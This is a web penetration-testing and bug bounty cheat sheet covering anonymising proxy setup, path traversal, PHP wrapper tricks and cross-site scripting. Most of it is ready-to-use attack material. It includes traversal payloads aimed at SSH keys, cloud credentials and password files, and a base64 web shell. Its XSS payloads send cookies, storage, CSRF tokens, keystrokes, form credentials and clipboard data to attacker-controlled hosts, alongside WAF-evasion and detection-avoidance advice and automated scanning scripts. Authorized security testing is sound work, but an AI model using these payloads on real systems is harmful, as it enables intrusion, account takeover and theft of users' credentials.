Web VAPT & Bug Bounty Notes#
Setup & Configuration#
Setting Up SOCKS Proxy in Burp Suite#
# Purpose: Route Burp Suite traffic through a SOCKS proxy (e.g., Tor, SSH tunnel, or custom proxy)
# Use cases: Anonymity, accessing internal networks via pivot, bypassing IP restrictions
# Method 1: Project-specific SOCKS Proxy (Recommended for Burp Suite 2023+)
# Steps:
# 1. Open Burp Suite
# 2. Go to Settings → Network → Connections (formerly User/Project Options)
# 3. Navigate to "SOCKS Proxy" section
# 4. Configure:
# ☑ Use SOCKS proxy
# Host: 127.0.0.1 (or your proxy IP)
# Port: 9050 (Tor) / 1080 (SSH SOCKS) / custom port
# Version: SOCKS5 (recommended)
# ☑ Do DNS lookups over SOCKS proxy (prevents DNS leaks)
# 5. Authentication: Add credentials if required by proxy
# Method 2: Upstream Proxy Servers (Per-host basis)
# Settings → Network → Connections → Upstream Proxy Servers
# Add rule:
# Destination host: * (or specific domains like *.target.com)
# Proxy host: 127.0.0.1
# Proxy port: 9050
# ☑ Use SOCKS proxy
# SOCKS version: SOCKS5
# OPSEC: Setting up SSH SOCKS tunnel through jump host
ssh -D 1080 -f -C -q -N -o ServerAliveInterval=60 user@pivot-server
# -D 1080: Create dynamic SOCKS5 proxy on local port 1080
# -f: Run in background after authentication
# -C: Compress data (faster over slow connections)
# -q: Quiet mode (reduces logging footprint)
# -N: No remote commands (port forwarding only)
# -o ServerAliveInterval=60: Keep connection alive through NAT/firewalls
# OPSEC: Multi-hop SSH tunnel for additional anonymity
ssh -D 1080 -J jumphost1,jumphost2 user@final-destination
# Routes through multiple intermediary hosts
# OPSEC: Tor with additional isolation
# Start Tor with custom SOCKS port and control port
tor --SocksPort 9050 --ControlPort 9051 --CookieAuthentication 1
# Verify SOCKS proxy is working (OPSEC: check for IP leaks)
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip
curl --socks5-hostname 127.0.0.1:9050 https://ipinfo.io/json
# OPSEC: DNS leak test
curl --socks5-hostname 127.0.0.1:9050 https://www.dnsleaktest.com/
# OPSEC: Rate limiting through proxy (avoid detection)
# Add delays in Burp Suite:
# Settings → Network → HTTP → Throttle between requests: 1000ms
# This prevents aggressive scanning patterns that trigger WAF/IDS
# OPSEC: User-Agent rotation in Burp
# Settings → Network → HTTP → User-Agent
# Use realistic, recent browser User-Agents
# Rotate periodically to avoid fingerprinting
# Modern alternative: Using proxychains with multiple proxies
# Edit /etc/proxychains4.conf:
# [ProxyList]
# socks5 127.0.0.1 9050
# socks5 127.0.0.1 9051
# Then run: proxychains4 burpsuite
Directory Traversal (Path Traversal)#
Access files and directories outside the intended web root by manipulating file paths in vulnerable parameters.
Common vulnerable parameters: filename
, file
, path
, template
, page
, doc
, document
, image
, upload
, download
, include
, load
, read
Basic Payloads#
# Standard directory traversal (Linux)
GET /download?filename=../../../etc/passwd HTTP/1.1
GET /image?filename=../../../../var/www/html/.env HTTP/1.1
# Windows-style paths
GET /file?path=..\..\..\..\..\windows\system32\drivers\etc\hosts HTTP/1.1
GET /download?file=..\..\..\..\..\..\windows\win.ini HTTP/1.1
# Absolute path access (if filtering is weak)
GET /download?file=/etc/passwd HTTP/1.1
GET /file?path=C:\windows\win.ini HTTP/1.1
Advanced Bypass Techniques#
# 1. URL Encoding Bypasses
# Single URL encoding
../../../etc/passwd → %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# Double URL encoding (when input is decoded twice by middleware + application)
../../../etc/passwd → %252e%252e%252f%252e%252e%252f%252e%252e%252f%65%74%63%252f%70%61%73%73%77%64
# UTF-8 encoding variations
../ → %c0%ae%c0%ae%c0%af (overlong UTF-8)
../ → %e0%80%ae%e0%80%ae%e0%80%af (3-byte overlong)
# 2. Path Manipulation & Normalization Bypass
# Prefix with expected path (bypass "must start with" validation)
/var/www/images/../../../etc/passwd
/app/uploads/../../../../etc/passwd
# Null byte injection (works in older PHP <5.3, some C applications)
../../../../etc/passwd%00.jpg
../../../../etc/passwd\x00.png
# Note: PHP 5.3+ patched this, but legacy systems may still be vulnerable
# UNC path injection (Windows - access network shares)
\\127.0.0.1\c$\windows\win.ini
\\localhost\c$\boot.ini
# 3. Encoding Confusion & Mixed Separators
# Mix forward/backward slashes (confuse parsers)
..\%2f../..\%2fetc%2fpasswd
..\/..\/..\/etc\/passwd
..\../..\etc\passwd
# Dot segment manipulation
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
# 4. Path Traversal with Filters Bypass
# Double encoding specific characters
..%252f..%252f..%252fetc%252fpasswd
# 16-bit Unicode encoding (Windows IIS legacy)
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd
# 5. Modern PHP Wrapper Abuse (PHP 7.x/8.x)
# Read source code via base64 filter
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../../../../etc/passwd
# Chain multiple filters for obfuscation
php://filter/read=string.rot13|string.toupper/resource=config.php
# Use input wrapper with POST data (for LFI → RCE)
# POST parameter: <?php system($_GET['cmd']); ?>
php://input
# Zip wrapper for embedded payloads
zip://uploads/malicious.zip%23shell.php
# Upload ZIP with PHP shell, then access via zip wrapper
# Data wrapper (base64-encoded PHP code)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Decodes to: <?php system($_GET['cmd']);?>
# Expect wrapper (if PHP expect extension loaded - rare but powerful)
expect://id
expect://whoami
# Phar wrapper (PHP archive - can trigger object deserialization)
phar://uploads/archive.phar/shell.php
# 6. OPSEC: Encoding for WAF Bypass
# Case variation in protocols
Php://filter/convert.base64-encode/resource=index.php
PHP://filter/convert.base64-encode/resource=index.php
# Nested encoding
%25%32%65%25%32%65%25%32%66 → ../ (double URL encoded)
# How to decode wrapper responses:
# After receiving base64 response from php://filter:
echo "BASE64_OUTPUT" | base64 -d > decoded_file.php
# Or use CyberChef: https://gchq.github.io/CyberChef/
High-Value Target Files#
# Linux Systems - Core Files
/etc/passwd # User accounts (always readable)
/etc/shadow # Password hashes (requires root)
/etc/group # Group information
/etc/hosts # Hostname mappings
/etc/hostname # System hostname
/etc/resolv.conf # DNS configuration
/etc/crontab # System-wide scheduled tasks
/var/spool/cron/crontabs/root # Root user cron jobs
/etc/ssh/sshd_config # SSH daemon configuration
/etc/ssh/ssh_config # SSH client configuration
/root/.ssh/id_rsa # Root SSH private key
/root/.ssh/id_ed25519 # Root ED25519 SSH key (modern)
/root/.ssh/authorized_keys # Root authorized keys
/root/.bash_history # Root command history
/root/.bashrc # Root bash configuration
/home/{user}/.ssh/id_rsa # User SSH private keys
/home/{user}/.ssh/id_ed25519 # User ED25519 keys
/home/{user}/.bash_history # User command history
/home/{user}/.aws/credentials # AWS credentials
/home/{user}/.config/gcloud/credentials.db # GCP credentials
# Linux - Log Files (information disclosure)
/var/log/auth.log # Authentication logs (Debian/Ubuntu)
/var/log/secure # Authentication logs (RHEL/CentOS)
/var/log/apache2/access.log # Apache access logs
/var/log/apache2/error.log # Apache error logs
/var/log/nginx/access.log # Nginx access logs
/var/log/nginx/error.log # Nginx error logs
/var/log/mysql/error.log # MySQL error logs
/var/log/syslog # System logs
/var/log/messages # General system messages
/var/log/kern.log # Kernel logs
/var/log/faillog # Failed login attempts
# Linux - Process & System Information
/proc/self/environ # Current process environment variables
/proc/self/cmdline # Current process command line
/proc/self/status # Current process status
/proc/self/fd/0 # Standard input
/proc/self/fd/1 # Standard output
/proc/self/fd/2 # Standard error
/proc/version # Kernel version
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/net/tcp # TCP connections
/proc/net/udp # UDP connections
/proc/net/fib_trie # Routing table
# Web Server Configuration Files
/etc/apache2/apache2.conf # Apache main config (Debian/Ubuntu)
/etc/httpd/conf/httpd.conf # Apache main config (RHEL/CentOS)
/etc/apache2/sites-enabled/000-default.conf # Default Apache vhost
/etc/nginx/nginx.conf # Nginx main config
/etc/nginx/sites-enabled/default # Nginx default site
/usr/local/apache2/conf/httpd.conf # Apache alternative location
/opt/lampp/etc/httpd.conf # XAMPP Apache config
/etc/lighttpd/lighttpd.conf # Lighttpd config
/usr/local/etc/nginx/nginx.conf # Nginx alternative location
# Database Configuration
/etc/mysql/my.cnf # MySQL configuration
/etc/mysql/mysql.conf.d/mysqld.cnf # MySQL daemon config (modern)
/var/lib/mysql/my.cnf # MySQL alternative
/etc/postgresql/*/main/pg_hba.conf # PostgreSQL access control
/var/lib/pgsql/data/pg_hba.conf # PostgreSQL alternative
/etc/mongodb.conf # MongoDB configuration
/etc/redis/redis.conf # Redis configuration
# Application Server Configuration
/opt/tomcat/conf/tomcat-users.xml # Tomcat users
/opt/tomcat/conf/server.xml # Tomcat server config
/usr/local/tomcat/conf/web.xml # Tomcat web config
/opt/jboss/standalone/configuration/standalone.xml # JBoss config
# Modern Application Files (2025)
/.env # Environment variables (Laravel, Node.js, etc.)
/.env.local # Local overrides
/.env.production # Production environment
/var/www/html/.env # Web root environment
/app/.env # Application environment
/.git/config # Git configuration
/.git/HEAD # Current branch
/.git/logs/HEAD # Git commit history
/.github/workflows/*.yml # CI/CD pipeline secrets
/.gitlab-ci.yml # GitLab CI configuration
/composer.json # PHP dependencies
/composer.lock # Locked PHP dependencies
/package.json # Node.js dependencies
/package-lock.json # Locked Node.js dependencies
/yarn.lock # Yarn dependencies
/Dockerfile # Docker configuration
/docker-compose.yml # Docker compose config
/.dockerignore # Docker ignore file
/Makefile # Build automation
/README.md # Documentation (may contain creds)
# Cloud & Container Metadata
/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes service account
/var/run/secrets/kubernetes.io/serviceaccount/token
/.aws/config # AWS configuration
/.aws/credentials # AWS credentials
/.azure/config # Azure configuration
/.kube/config # Kubernetes config
# Windows Systems (2025)
C:\boot.ini # Boot configuration (legacy, pre-Vista)
C:\windows\win.ini # Windows initialization
C:\windows\system.ini # System initialization
C:\windows\system32\drivers\etc\hosts # Hosts file
C:\windows\system32\config\SAM # Security Account Manager
C:\windows\system32\config\SYSTEM # System registry hive
C:\windows\system32\config\SOFTWARE # Software registry hive
C:\windows\debug\netsetup.log # Network setup logs (may contain domain creds)
C:\windows\panther\unattend.xml # Windows installation config (plaintext creds)
C:\windows\panther\Unattend\unattend.xml # Alternative location
C:\inetpub\wwwroot\web.config # IIS web configuration
C:\windows\system32\inetsrv\config\applicationHost.config # IIS master config
C:\Program Files\MySQL\MySQL Server 8.0\my.ini # MySQL config
C:\xampp\apache\conf\httpd.conf # XAMPP Apache config
C:\xampp\mysql\bin\my.ini # XAMPP MySQL config
C:\wamp64\bin\apache\apache2.4.*/conf\httpd.conf # WAMP Apache
C:\Users\{user}\AppData\Roaming\FileZilla\recentservers.xml # FTP credentials
C:\Users\{user}\.aws\credentials # AWS credentials
C:\Users\{user}\.ssh\id_rsa # SSH private keys
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ # Startup folder
# OPSEC: Automated file enumeration script (with rate limiting)
#!/bin/bash
# Usage: ./path_trav_enum.sh "http://target.com/download?file=" output.txt
url_base="$1"
output_file="$2"
delay=0.5 # Delay between requests (OPSEC)
files=(
"../../../etc/passwd"
"../../../etc/shadow"
"../../../../var/www/html/.env"
"../../../root/.ssh/id_rsa"
"../../../proc/self/environ"
)
for file in "${files[@]}"; do
echo "[*] Testing: $file"
response=$(curl -s "${url_base}${file}")
if [[ ! -z "$response" ]] && [[ "$response" != *"error"* ]]; then
echo "[+] Found: $file" | tee -a "$output_file"
echo "$response" >> "${output_file}_${file//\//_}.txt"
fi
sleep $delay # OPSEC: Avoid rate limiting/detection
done
Cross-Site Scripting (XSS)#
Inject malicious client-side scripts executed by victim’s browser for cookie theft, session hijacking, keylogging, or account takeover.
CSP, SameSite cookies, and Trusted Types have made XSS harder but not obsolete. Focus on DOM-based XSS, mutation XSS (mXSS), and CSP bypasses.
Detection & Basic Payloads#
<!-- Basic detection payloads -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<body onload=alert(1)>
<!-- Modern event handlers (work in latest browsers 2025) -->
<img src=x onerror="alert(document.domain)">
<audio src=x onerror="alert(1)">
<video src=x onerror="alert(1)">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<!-- HTML5 vectors (well-supported in 2025) -->
<svg><animatetransform onbegin=alert(1)>
<details ontoggle=alert(1) open>
<audio controls onplay=alert(1)><source src=x>
<video controls onloadstart=alert(1)><source src=x>
<!-- OPSEC: Non-alert() detection (bypass alert blockers) -->
<script>console.log('XSS')</script>
<script>document.location='http://attacker.com/xss?'+document.domain</script>
<img src=x onerror="fetch('http://attacker.com/xss?proof='+document.domain)">
Context-Specific Payloads#
<!-- HTML Context (between tags) -->
<script>alert(1)</script>
"><script>alert(1)</script>
</title><script>alert(1)</script>
</textarea><script>alert(1)</script>
<!-- Attribute Context (inside tag attributes) -->
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
' onfocus='alert(1)' autofocus='
" onclick="alert(1)
javascript:alert(1)
' style='animation-name:x' onanimationstart='alert(1)
<!-- JavaScript Context (inside <script> tags or JS event handlers) -->
";alert(1);//
'-alert(1)-'
`-alert(1)-`
</script><script>alert(1)</script>
\'-alert(1)//
<!-- Template literals (modern JS) -->
`+alert(1)+`
${alert(1)}
`${alert(1)}`
<!-- URL Context -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<!-- CSS Context -->
</style><script>alert(1)</script>
</style><img src=x onerror=alert(1)>
expression(alert(1)) /* IE only - legacy */
behavior:url(data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)
<!-- Markdown Context (if rendered as HTML) -->
[Click](javascript:alert(1))
)
Advanced XSS Techniques#
<!-- DOM-based XSS (most common in modern SPAs) -->
<script>
// Vulnerable: Direct DOM manipulation
var hash = location.hash.slice(1);
document.write(hash); // Classic DOM XSS
document.getElementById('output').innerHTML = hash; // Sink
// Vulnerable: eval() with user input
var data = new URLSearchParams(location.search).get('data');
eval(data); // Direct code execution
</script>
<!-- Exploit: http://site.com/page#<img src=x onerror=alert(1)> -->
<!-- DOM Clobbering (bypass sanitization) -->
<form id="x"><input id="y"></form>
<script>
// If code checks: if(window.x && window.x.y)
// Clobbering creates window.x.y as HTMLInputElement
</script>
<!-- Mutation XSS (mXSS) - Exploit browser parsing differences -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- SVG-based XSS (powerful for bypasses) -->
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script></svg>
<svg><script href="data:text/javascript,alert(1)"/>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- Math ML XSS (less common but works) -->
<math><mtext><script>alert(1)</script></mtext></math>
<math><mi xlink:href="data:text/html,<script>alert(1)</script>">
<!-- XML/XHTML-based XSS -->
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>alert(1)</script>
</html>
<!-- Polyglot payloads (work in multiple contexts) -->
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>
<!-- Prototype Pollution to XSS (modern attack chain) -->
<script>
// Pollute Object.prototype
Object.prototype.sourceURL = '\u0061javascript:alert(1)';
// If application uses eval() or Function() with sourceURL
</script>
<!-- Service Worker XSS (persistent XSS alternative) -->
<script>
navigator.serviceWorker.register('data:application/javascript,self.addEventListener("fetch",e=>e.respondWith(new Response("<script>alert(1)</script>",{headers:{"Content-Type":"text/html"}})))');
</script>
Data Exfiltration Payloads#
// Cookie theft (works even with HttpOnly if DOM-based)
<script>
fetch('https://attacker.com/c?cookie=' + encodeURIComponent(document.cookie));
</script>
// Alternative using Image (no CORS preflight)
<script>
new Image().src = 'https://attacker.com/c?c=' + encodeURIComponent(document.cookie);
</script>
// OPSEC: Exfiltrate via DNS (bypass egress filtering)
<script>
var c = document.cookie.replace(/[^a-zA-Z0-9]/g, '');
new Image().src = 'http://' + c.substring(0,63) + '.attacker.com/';
</script>
// LocalStorage + SessionStorage exfiltration
<script>
var data = {};
for (var i = 0; i < localStorage.length; i++) {
var key = localStorage.key(i);
data[key] = localStorage.getItem(key);
}
for (var i = 0; i < sessionStorage.length; i++) {
var key = sessionStorage.key(i);
data[key] = sessionStorage.getItem(key);
}
fetch('https://attacker.com/storage', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
</script>
// CSRF token exfiltration (from meta tags, forms, or headers)
<script>
var token = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content') ||
document.querySelector('input[name="_token"]')?.value;
if(token) {
fetch('https://attacker.com/token?t=' + encodeURIComponent(token));
}
</script>
// Complete DOM exfiltration (includes CSRF tokens, hidden fields)
<script>
fetch('https://attacker.com/dom', {
method: 'POST',
headers: {'Content-Type': 'text/html'},
body: document.documentElement.outerHTML
});
</script>
// Keylogger (advanced persistent attack)
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
};
</script>
// Form hijacking (capture credentials)
<script>
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
var data = {};
formData.forEach((value, key) => data[key] = value);
fetch('https://attacker.com/creds', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
}).then(() => form.submit());
});
});
</script>
// OPSEC: Exfiltrate via WebSocket (persistent connection, less obvious)
<script>
var ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = function() {
ws.send(JSON.stringify({
cookie: document.cookie,
localStorage: localStorage,
url: location.href
}));
};
</script>
// Clipboard theft (modern Permissions API)
<script>
navigator.clipboard.readText().then(text => {
fetch('https://attacker.com/clip?data=' + encodeURIComponent(text));
}).catch(err => {}); // Fail silently if permission denied
</script>
Filter Bypass Techniques#
<!-- Case variation (still effective against weak filters) -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
<SvG OnLoAd=alert(1)>
<!-- Character encoding (HTML entities) -->
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
<!-- JavaScript encoding -->
\x3cscript\x3ealert(1)\x3c/script\x3e
\u003cscript\u003ealert(1)\u003c/script\u003e
\074script\076alert(1)\074/script\076
<!-- Unicode normalization bypass -->
<script>alert\u0028\u0031\u0029</script>
<img src=x onerror="alert(1)">
<!-- String.fromCharCode obfuscation -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
<!-- Base64 obfuscation -->
<script>eval(atob('YWxlcnQoMSk='))</script> // alert(1) in base64
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- Tag obfuscation (whitespace, newlines, null bytes) -->
<script/xss src=data:text/javascript,alert(1)>
<img%0asrc%0a=%0ax%0aonerror%0a=%0aalert(1)>
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<iframe srcdoc="<img src=x onerror=alert(1)>">
<!-- Event handler obfuscation -->
<img src=x onerror="window['ale'+'rt'](1)">
<img src=x onerror="window['\x61\x6c\x65\x72\x74'](1)">
<img src=x onerror="eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">
<img src=x onerror="Function('ale'+'rt(1)')()">
<!-- Template literals and computed properties (ES6+) -->
<img src=x onerror="`${alert`1`}`">
<img src=x onerror="(alert)`1`">
<img src=x onerror="alert`1`">
<!-- Comment-based bypass -->
<!--><script>alert(1)</script>-->
<script><!--/*-->alert(1)/*--></script>
<script>al/**/ert(1)</script>
<!-- Bypass keyword filters (split strings) -->
<script>window['al'+'ert'](1)</script>
<script>eval('al'+'ert(1)')</script>
<script>Function('al'+'ert(1)')()</script>
<!-- Unicode escapes in identifiers -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074(1)")</script>
<!-- Zero-width characters (invisible) -->
<script>alert(1)</script> // Contains zero-width space U+200B
<script>alert(1)</script> // Contains zero-width non-joiner U+200C
CSP Bypass Techniques#
<!-- JSONP endpoint abuse (if whitelisted domain has JSONP) -->
<script src="https://trusted-site.com/jsonp?callback=alert"></script>
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert"></script>
<!-- Open redirect on whitelisted domain -->
<script src="https://trusted-site.com/redirect?url=https://evil.com/xss.js"></script>
<!-- Base tag injection (if base-uri not restricted in CSP) -->
<base href="https://evil.com/">
<script src="/malicious.js"></script>
<!-- Dangling markup (if unsafe-inline blocked but quotes not encoded) -->
<img src='https://attacker.com/collect?html=
<!-- Everything after this is sent as query parameter -->
<!-- AngularJS sandbox bypass (if Angular loaded on page) -->
{{constructor.constructor('alert(1)')()}}
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
{{$on.constructor('alert(1)')()}}
<!-- React XSS (if using dangerouslySetInnerHTML) -->
<img src=x onerror="alert(1)">
<!-- Rendered via: dangerouslySetInnerHTML={{__html: userInput}} -->
<!-- Vue.js XSS (if using v-html) -->
<img src=x onerror="alert(1)">
<!-- Rendered via: <div v-html="userInput"></div> -->
<!-- Nonce prediction/reuse (if CSP uses nonce) -->
<script nonce="PREDICTED_OR_REUSED_NONCE">alert(1)</script>
<!-- Bypass via 'strict-dynamic' misuse -->
<script nonce="KNOWN_NONCE">
var s = document.createElement('script');
s.src = 'https://evil.com/xss.js';
document.body.appendChild(s); // Allowed due to strict-dynamic
</script>
<!-- RPO (Relative Path Overwrite) with CSP -->
<!-- If CSP allows 'self' and path-relative stylesheets exist -->
http://site.com/page/..%2fstyle.css%0a<script>alert(1)</script>
<!-- Service Worker CSP bypass (if SW registration allowed) -->
<script>
navigator.serviceWorker.register('/sw.js').then(() => {
// Service Worker can modify CSP of subsequent requests
});
</script>
<!-- OPSEC: Test for CSP without triggering alerts -->
<script>
// Check CSP programmatically
fetch('https://attacker.com/csp', {
method: 'POST',
body: JSON.stringify({
csp: document.querySelector('meta[http-equiv="Content-Security-Policy"]')?.content || 'none'
})
});
</script>
XSS Testing Methodology#
# 1. Identify reflection/injection points
# Common parameters: q, search, query, name, message, comment, feedback, title, description
# Modern: GraphQL inputs, JSON API fields, WebSocket messages
# 2. Test with minimal payload (OPSEC: avoid triggering WAF)
<script>console.log('xss')</script>
<img src=x onerror=console.log('xss')>
# 3. Check context of reflection (view page source + browser DevTools)
# - HTML context: Between tags
# - Attribute context: Inside tag attributes
# - JavaScript context: Inside <script> or event handlers
# - URL context: In href, src attributes
# - CSS context: Inside <style> tags
# 4. Adapt payload to context
# HTML: <img src=x onerror=alert(1)>
# Attribute: " onmouseover="alert(1)
# JS: ";alert(1);//
# URL: javascript:alert(1)
# 5. Test for filters and encoding
# Try URL encoding, HTML entities, Unicode escapes
# Test case variations, null bytes, special chars
# 6. Verify execution (OPSEC: use non-alert methods)
# - Check console.log() output
# - Use fetch() to external domain
# - Check network tab for exfiltration requests
# 7. Craft final exploit
# - Cookie theft
# - Session hijacking
# - Keylogging
# - Form hijacking
# - Account takeover flow
# Automated XSS scanning (OPSEC: rate-limited)
#!/bin/bash
# Usage: ./xss_scan.sh target.com
domain="$1"
output="xss_results_$(date +%Y%m%d_%H%M%S).txt"
# OPSEC: Use realistic User-Agent and delays
ua="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Test basic payloads
payloads=(
"<script>console.log('xss')</script>"
"<img src=x onerror=console.log('xss')>"
"\"><script>console.log('xss')</script>"
"javascript:console.log('xss')"
"<svg/onload=console.log('xss')>"
)
# Crawl and test
echo "[*] Crawling $domain for parameters..."
gospider -s "https://$domain" -c 10 -d 3 -t 20 --other-source | \
grep -Eo "https?://[^[:space:]]+" | \
grep "=" | \
sort -u | \
while read url; do
for payload in "${payloads[@]}"; do
encoded_payload=$(echo "$payload" | jq -sRr @uri)
test_url="${url/=*/=$encoded_payload}"
echo "[*] Testing: $test_url" | tee -a "$output"
response=$(curl -s -A "$ua" "$test_url")
# Check if payload is reflected unencoded
if echo "$response" | grep -q "$payload"; then
echo "[+] POTENTIAL XSS: $test_url" | tee -a "$output"
fi
sleep 0.5 # OPSEC: Rate limiting
done
done
echo "[*] Results saved to $output"
# Modern tool alternatives (2025):
# - Dalfox: Fast, accurate, actively maintained
dalfox url "http://target.com/search?q=FUZZ" -b https://your-collab.com
# - XSStrike: Intelligent fuzzing with WAF detection
python3 xsstrike.py -u "http://target.com/search?q=test"
# - Nuclei with XSS templates
nuclei -u https://target.com -t cves/ -t vulnerabilities/xss/
# OPSEC: Use Burp Collaborator or similar for blind XSS
# Payload: <script src=https://BURP-COLLABORATOR.com></script>
Blind XSS#
<!-- Blind XSS payloads for admin panels, logs, emails -->
<script src="https://xss.report/c/YOUR_ID"></script>
<script src="https://your-collab.burpcollaborator.net/xss"></script>
<!-- Self-hosted blind XSS collector -->
<script>
fetch('https://your-server.com/blind-xss', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
dom: document.documentElement.outerHTML.substring(0, 5000),
referrer: document.referrer,
timestamp: new Date().toISOString()
})
});
</script>
<!-- Blind XSS with screenshot (if html2canvas or similar loaded) -->
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(canvas => {
canvas.toBlob(blob => {
var formData = new FormData();
formData.append('screenshot', blob);
formData.append('url', location.href);
fetch('https://your-server.com/screenshot', {
method: 'POST',
body: formData
});
});
});
</script>
<!-- OPSEC: Polyglot blind XSS (multiple contexts) -->
'"><img src=x onerror=fetch('https://your-server.com/xss?p='+location.href)>